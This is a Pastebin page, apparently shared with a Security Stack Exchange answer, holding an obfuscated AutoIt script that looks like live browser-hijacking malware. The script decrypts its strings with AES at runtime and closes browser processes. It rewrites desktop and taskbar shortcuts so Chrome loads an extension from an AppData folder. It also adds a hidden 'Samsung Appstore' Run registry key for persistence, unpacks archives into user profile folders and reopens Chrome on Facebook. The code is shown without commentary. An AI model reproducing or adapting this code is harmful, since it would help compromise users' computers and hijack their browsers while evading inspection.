Guest User

http://security.stackexchange.com/a/128270/50311

a guest
Jun 27th, 2016
471
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 18.39 KB | None | 0 0
  1. #NoTrayIcon
  2.  
  3. Local $NY46912G26724G3875U25831 = False
  4. Local $GC29808U31467 = False
  5. Local $AS88633S17684 = False
  6. Local $ZJ64817K19423 = False
  7. Local $ZC88799C98092 = YK69395P92380('0xDFAC504535F5E850E471DB3F2B6F7528','63504267791308182131')
  8.  
  9. If ProcessExists(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131')) Then
  10.     ProcessClose(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'))
  11.     $NY46912G26724G3875U25831 = True
  12. EndIf
  13. If ProcessExists(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131')) Then
  14.     ProcessClose(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131'))
  15.     $ZJ64817K19423 = True
  16. EndIf
  17. If ProcessExists(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131')) Then
  18.     ProcessClose(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131'))
  19.     $GC29808U31467 = True
  20. EndIf
  21. If ProcessExists(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131')) Then
  22.     ProcessClose(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131'))
  23.     $AS88633S17684 = True
  24. EndIf
  25.  
  26.  
  27. DirCreate(@AppDataDir & YK69395P92380('0xEAC1A394C62F4DA0C1A21CA24950BC3B','63504267791308182131'))
  28.  
  29.  
  30. Func FS6819T57753()
  31.     Local $TB44737Z1859
  32.     Local $QV53761I27021
  33.     Local $QJ66301M54074=RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05B86EE6EB08A931FAA1CAC16CE56F28B207F7952C895591A6A6B2465C22A03816B0697A5838715377C00BD31BB9246A639D31E7E5D77FB6863BE38918C1C0A381BD36CEA7B12164EEAC66CBFE8C85776C','63504267791308182131'), YK69395P92380('0x2E7D00FA749476C8DFC5A813839ABCB9','63504267791308182131'))
  34.     If StringInStr(RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05205E886D1B1B909C6C626427660CB821AF483710026D419C72B043C080055DB8B911C639296DC4EBFB0171AAA2D99D6A8650990EE430156A78020FDD2B49EDC0CB1806E75B56A46CBEB783FA41CD0059','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')), YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  35.     $QV53761I27021 = RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05205E886D1B1B909C6C626427660CB821AF483710026D419C72B043C080055DB8B911C639296DC4EBFB0171AAA2D99D6A8650990EE430156A78020FDD2B49EDC0CB1806E75B56A46CBEB783FA41CD0059','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')) & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  36.  ElseIf StringInStr(RegRead(YK69395P92380('0xB112DBDE1EFC1516F3A9594FFAF499BE4C389143E4A5D54EEDDDFCE161F1B8BD22D058593CB5C7C40B863E8F8AF6422F440FEBA6D91E9D6CE0803F59DEE48C22635530EFF7247C2BB67F05E3AC7BF5DF6594CBA63E56D262D4397F0F891F867B','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')),YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  37.     $QV53761I27021=RegRead(YK69395P92380('0xB112DBDE1EFC1516F3A9594FFAF499BE4C389143E4A5D54EEDDDFCE161F1B8BD22D058593CB5C7C40B863E8F8AF6422F440FEBA6D91E9D6CE0803F59DEE48C22635530EFF7247C2BB67F05E3AC7BF5DF6594CBA63E56D262D4397F0F891F867B','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')) & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  38.  ElseIf StringInStr($QJ66301M54074,YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  39.     $QV53761I27021=$QJ66301M54074  & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  40.  Else
  41.     $QV53761I27021=YF91926P38358() & YK69395P92380('0x0E623C1E1A5372A67D09A4E613E750E90D055377BFE6820CF4DA5CD5B2148BE2569FC744DD6BC6C6E0EE8095A6B5FCBB','63504267791308182131')
  42.  EndIf
  43.     return $QV53761I27021
  44. EndFunc
  45. Func YF91926P38358()
  46.     Local $LT55094O15783
  47.     Switch @OSArch
  48.         Case YK69395P92380('0xF67EBCE74C2D92323CDC472FD9A8B686','63504267791308182131')
  49.             $LT55094O15783 = YK69395P92380('0x02F29BA51024032BCF37DE70A41C16D7','63504267791308182131')
  50.         Case YK69395P92380('0x49B2A063336DEF35C40D2C5A79138422','63504267791308182131')
  51.             $LT55094O15783 = YK69395P92380('0xB7DF7EBA14D27AF78259A5C9D84290FF6203D595123271D34CFA6D96442F9F23','63504267791308182131')
  52.     EndSwitch
  53.     Return @HomeDrive & YK69395P92380('0x76CA0FE4442E6E15BC0207CA9BC9319C','63504267791308182131') & $LT55094O15783 & YK69395P92380('0x76CA0FE4442E6E15BC0207CA9BC9319C','63504267791308182131')
  54.  EndFunc ;==>YF91926P38358h
  55.  
  56. Func iepath()
  57. Return   YF91926P38358() & YK69395P92380('0xA7D00F37820CC7EE6D29B6914415C2E3FDEBF206BEABF76161AEAD7A516D222E','63504267791308182131')
  58. EndFunc
  59.  
  60. Func NT94698L80975()
  61. FileDelete(@DesktopDir & YK69395P92380('0x44DFE4D03975817D8B7E0BB6BC6FD8B4','63504267791308182131'))
  62. FileDelete(@DesktopDir& YK69395P92380('0x44DFE4D03975817D8B7E0BB6BC6FD8B4','63504267791308182131'))
  63. FileDelete(@DesktopDir & YK69395P92380('0x37A2AB6C61289E09EE6C9FB95A244C0D','63504267791308182131'))
  64. FileDelete(@DesktopDir& YK69395P92380('0x37A2AB6C61289E09EE6C9FB95A244C0D','63504267791308182131'))
  65. FileDelete(@DesktopDir & YK69395P92380('0x352788FCBB530933331DA8D617DE7097','63504267791308182131'))
  66. FileDelete(@DesktopDir& YK69395P92380('0x352788FCBB530933331DA8D617DE7097','63504267791308182131'))
  67. FileDelete(@DesktopDir & YK69395P92380('0x6161C9A4D36EE659AE61C5E4AFC1B684','63504267791308182131'))
  68. FileDelete(@DesktopDir& YK69395P92380('0x6161C9A4D36EE659AE61C5E4AFC1B684','63504267791308182131'))
  69. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  70. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  71. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  72. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  73. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  74. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  75. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  76. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  77. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  78. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  79. FB3692G31457(iepath(),YK69395P92380('0x7B7F8D8C8689A7B0F1CBEE8D287E8B0A','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0xA7D00F37820CC7EE6D29B6914415C2E35209CCC38DB32EABF5D9BC529BC45A47','63504267791308182131'))
  80. FB3692G31457(FS6819T57753(),YK69395P92380('0x7B7F8D8C8689A7B0F1CBEE8D287E8B0A','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  81. FB3692G31457(FS6819T57753(), 'p2tb', BinaryToString(YK69395P92380('0xC30CD1984B496220CC37366A5BC6CB58D8E409BE5D58A5A1E2CA9BB801118882','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"',YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  82. FB3692G31457(FS6819T57753(), 'p2sm', BinaryToString(YK69395P92380('0xC30CD1984B496220CC37366A5BC6CB58D8E409BE5D58A5A1E2CA9BB801118882','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"',YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  83. FileCreateShortcut(FS6819T57753(),@DesktopDir & YK69395P92380('0xC7AB1E9768CC0A86E7AC8CA945A63031723538527CAAC0FAA1F35B5FEFE8414B','63504267791308182131'), StringReplace(FS6819T57753(),YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131')), '--load-and-launch-app="' & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"', YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x3D4D0CE6DBE36FA68DF5171616A4A90E','63504267791308182131'), @SW_SHOWMAXIMIZED)
  84. FileCreateShortcut(FS6819T57753(),@DesktopDir & YK69395P92380('0xCCA1F4DDFA66360E209199AA9E2827A5F4604C4255BFC0A96209298DCBE40379','63504267791308182131'), StringReplace(FS6819T57753(),YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131')), '--load-and-launch-app="' & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"', YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x3D4D0CE6DBE36FA68DF5171616A4A90E','63504267791308182131'), @SW_SHOWMAXIMIZED)
  85. ControlSend('Program Manager', '', '', '{F5}')
  86.  EndFunc
  87.  
  88.  
  89. Func FB3692G31457($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '',$FH37126V95637='Google Chrome')
  90.     $MX50889N8062 = 0
  91.     If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co
  92.  
  93.     ;split path, filename and extension
  94.     $QV53761I27021split = StringSplit($DU96650J50007, '\')
  95.     $LQ96791B72186 = $QV53761I27021split[0]
  96.     $NY46912G26724H79275Y54978 = $QV53761I27021split[$LQ96791B72186]
  97.     $QV53761I27021 = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
  98.     $QV53761I27021 = StringTrimRight($QV53761I27021, 1)
  99.     $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, YK69395P92380('0xDCCFEBB2E966BFA5CC3F0609D038FFE4','63504267791308182131'))
  100.     $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
  101.     $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
  102.     $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)
  103.  
  104.     ;define code to use depending on action choosen
  105.     Switch $PY88057E8772
  106.         Case 'pin2SM', 'p2sm'           ;pin to Start Menu
  107.             $DW40391F60732 = 5381
  108.         Case 'unpinFromSM', 'up2sm'     ;unpin from Start Menu
  109.             $DW40391F60732 = 5382
  110.         Case 'pin2TB', 'p2tb'           ;pin to Task Bar
  111.             $DW40391F60732 = 5386
  112.         Case 'unpinFromTB', 'up2tb'     ;unpin from Task Bar
  113.             $DW40391F60732 = 5387
  114.     EndSwitch
  115.  
  116.     ;if arguments, make a shortcut, pin it then mark it for deletion
  117.     If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
  118.         $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
  119.         FileCreateShortcut($DU96650J50007, $LU75806O87936, $QV53761I27021, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
  120.         $QV53761I27021 = @DesktopDir
  121.         $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  122.         $MX50889N8062 = 1
  123.     EndIf
  124.  
  125.     ;retrieve Localized text for action
  126.     $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
  127.     If $VN21839D40239 Then
  128.         $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
  129.         ;If @error Then MsgBox(0, YK69395P92380('0x0329391612CD7FF847BAAFA72361CF1E','63504267791308182131'), _WinAPI_GetLastErrorMessage()) ;debug
  130.         _WinAPI_FreeLibrary($VN21839D40239)
  131.     EndIf
  132.  
  133.  
  134.     If $DW40391F60732 == 5382 Then
  135.         $QV53761I27021 = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
  136.         $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  137.     EndIf
  138.  
  139.     ;pin or unpin
  140.  
  141.     $GX26215V48494 = ObjCreate('Shell.Application')
  142.     $CV39051H10739 = $GX26215V48494.Namespace($QV53761I27021)
  143.     $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
  144.     If IsObj($CV39051H10739Item) Then
  145.     For $CV81871N53913 in $CV39051H10739Item.Verbs()
  146.         If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
  147.         Next
  148.      Else
  149.       ;ConsoleWrite($CV39051H10739Item.Verbs())
  150.    EndIf
  151.  
  152.     ;clean temporary shortcut
  153.     If $MX50889N8062 Then
  154.         FileDelete($LU75806O87936)
  155.     EndIf
  156. EndFunc
  157.  
  158.  
  159.  
  160.  
  161.  
  162. Local $EX33493S24022 = FileOpen(@AppDataDir & YK69395P92380('0x551FD769A028BBAA83C1C071F12B9013','63504267791308182131'), 2)
  163. FileWrite($EX33493S24022,$ZC88799C98092)
  164. FileClose($EX33493S24022)
  165.  
  166.  
  167. $LX63714O8569 = BinaryToString("0x726567206164642022484B43555C534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E22202F76202253616D73756E672041707073746F726522202F6420225C22") & @AppDataDir & "\Mozila\autoit.exe" & BinaryToString("0x5C22205C22") & @AppDataDir & "\Mozila\up.au3" & BinaryToString("0x5C2222202F66")
  168. RunWait(@ComSpec & YK69395P92380('0x8CD3AD06E5847E134D7FF1DFFA21E79D','63504267791308182131') & $LX63714O8569, @WindowsDir, @SW_HIDE)
  169.  
  170.  
  171.  
  172.  
  173. Func DG42388W86540($NY46912G26724Z2957N31028)
  174. DirRemove($NY46912G26724Z2957N31028 & YK69395P92380('0xD36C6ADECB21D9928EEB30501EC6280C','63504267791308182131'),1)
  175. Sleep(150)
  176. DirCreate($NY46912G26724Z2957N31028 & YK69395P92380('0x1007F8D75883BB150617303E42D9B61A45E6A7580DAF8FCAC9E6F635CE590E32','63504267791308182131'))
  177. _Zip_UnzipAll(@AppDataDir & YK69395P92380('0xE6FE83C1FDFE331BD02ECF64D5F23D7C','63504267791308182131'), $NY46912G26724Z2957N31028 & YK69395P92380('0x1007F8D75883BB150617303E42D9B61AD6BEDC49988E4D87A43005C9C9731E20','63504267791308182131') ,16)
  178. EndFunc
  179.  
  180.  
  181. Func LU33597B50082($ZZ7410H70319)
  182. If FileExists($ZZ7410H70319) Then
  183. Local $DO97707J50938 = _FileListToArray($ZZ7410H70319, YK69395P92380('0xB9568E3BB3158C1E7539579267A801CD','63504267791308182131'), 2, True)
  184.     If @error = 1 Then
  185.         return false
  186.     EndIf
  187.     If @error = 4 Then
  188.         return false
  189.      EndIf
  190.  
  191.  
  192.    For $NY46912G26724 = 1 To $DO97707J50938[0] Step +1
  193. DG42388W86540($DO97707J50938[$NY46912G26724])
  194.    Next
  195.  
  196. EndIf
  197. EndFunc
  198.  
  199. LU33597B50082(YK69395P92380('0x81E29A563F43FC887BD5A7551F382B84C6C6A2AFFEAEB9D6E745A20DD7F4DC9D','63504267791308182131')& @UserName &YK69395P92380('0x40C4A22D483648290798D38D2DA3CA6A490800933F3B29020BD6C24AF332AF099404961DD24743EC3B1182149C1B79DB','63504267791308182131'))
  200. LU33597B50082(YK69395P92380('0x81E29A563F43FC887BD5A7551F382B84C6C6A2AFFEAEB9D6E745A20DD7F4DC9D','63504267791308182131')& @UserName &YK69395P92380('0x3568FAEA67BECBB44B9D733BA2FDC8242451BD1BE5F5A43CB092D8B9063270517B4063297143A6BB01FF94C8C09A244F','63504267791308182131'))
  201.  
  202. NT94698L80975()
  203. RegWrite(BinaryToString(YK69395P92380('0x77C894B2D4B556B94FE21BF64D9516E69325FB4BB66542DC93068F894C27DA40FE58EAC75B5E3D1232B9EED708449DB35D805B47EF462047197ECC0F3AF056B45D59C3B869E9EAF4104C536DF1BBCBEB','63504267791308182131')), YK69395P92380('0xBC353EE8D90FBA655B2DAD557A4066B3','63504267791308182131'), YK69395P92380('0x80D08FF4637CD6AC49562B28765262FC','63504267791308182131'), BinaryToString(YK69395P92380('0x845F9BE969ED39E6CF59AFEA98A0357AA036D330F4DF076D12B714EB46A468C6','63504267791308182131')))
  204. RegWrite(BinaryToString(YK69395P92380('0x77C894B2D4B556B94FE21BF64D9516E69325FB4BB66542DC93068F894C27DA400EF4EB956570213794DA3E72AA9FDEC599EC3C882E7208078FD1C6E918002581EE519E886E0F00606F05336CB0C56E65','63504267791308182131')), YK69395P92380('0xBC353EE8D90FBA655B2DAD557A4066B3','63504267791308182131'), YK69395P92380('0x80D08FF4637CD6AC49562B28765262FC','63504267791308182131'), BinaryToString(YK69395P92380('0x845F9BE969ED39E6CF59AFEA98A0357AA036D330F4DF076D12B714EB46A468C6','63504267791308182131')))
  205. Sleep(1000)
  206. If Not ($NY46912G26724G3875U25831 = False) Then ShellExecute(BinaryToString(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131')),BinaryToString(YK69395P92380('0x06D9118FFCE65D73F691DE68AFF9B39EEF0486B683E84999ACD51BCBBFC3DD8F','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '" https://www.facebook.com/')
  207. ShellExecute(@AppDataDir & YK69395P92380('0xA9261964666A8947BF7E554B1B86F0D74023E15F739C49FEAE5B4154EF7B47B5','63504267791308182131'),"up.au3",@AppDataDir & YK69395P92380('0xEAC1A394C62F4DA0C1A21CA24950BC3B','63504267791308182131'))
  208. ;If Not ($GC29808U31467 = False) Then ShellExecute(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131'))
  209. ;If Not ($AS88633S17684 = False) Then ShellExecute(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131'))
  210. If Not ($ZJ64817K19423 = False) Then ShellExecute(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131'))
  211.  
  212. Func YK69395P92380($KS50476D12399,$JF22904R13060)
  213.     $KS50476D12399 = BinaryToString($KS50476D12399)
  214.     $YK28157F62492 = _Crypt_DecryptData($KS50476D12399, $JF22904R13060, $CALG_AES_256)
  215.     $YK28157F62492 = BinaryToString($YK28157F62492)
  216.     Return $YK28157F62492
  217. EndFunc
Add Comment
Please, Sign In to add comment